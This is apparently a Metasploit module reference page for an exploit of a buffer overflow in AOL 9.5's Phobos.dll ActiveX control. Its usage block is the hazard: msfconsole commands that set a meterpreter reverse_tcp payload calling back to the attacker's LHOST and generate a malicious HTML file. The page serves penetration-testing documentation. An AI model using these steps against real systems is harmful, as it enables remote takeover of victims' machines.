Metasploit Penetration Testing Framework

AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow

This module exploits a stack-based buffer overflow within Phobos.dll of AOL 9.5. By setting an overly long value to 'Import()', an attacker can overrun a buffer and execute arbitrary code. NOTE: This ActiveX control is NOT marked safe for scripting or initialization.

Rank

Average

Authors

Trancer < mtrancer [at] gmail.com >

References

Exploit Targets

0 - Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 (default)

Development

Similar Modules

Usage Information

$ msfconsole

                ##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/aol_phobos_bof
msf exploit(aol_phobos_bof) > show payloads
msf exploit(aol_phobos_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(aol_phobos_bof) > set LHOST [MY IP ADDRESS]
msf exploit(aol_phobos_bof) > exploit

Module Options

FILENAME	The file name. (default: msf.html)
OUTPUTPATH	The location of the file. (default: /usr/lib/msf3/data/exploits)
ContextInformationFile	The information file that contains context information
DisablePayloadHandler	Disable the handler code for the selected payload
EnableContextEncoding	Use transient context when encoding payloads
WORKSPACE	Specify the workspace for this module
WfsDelay	Additional delay when waiting for a session

OSVDB:	CVE:
BID:	MSB:
TEXT: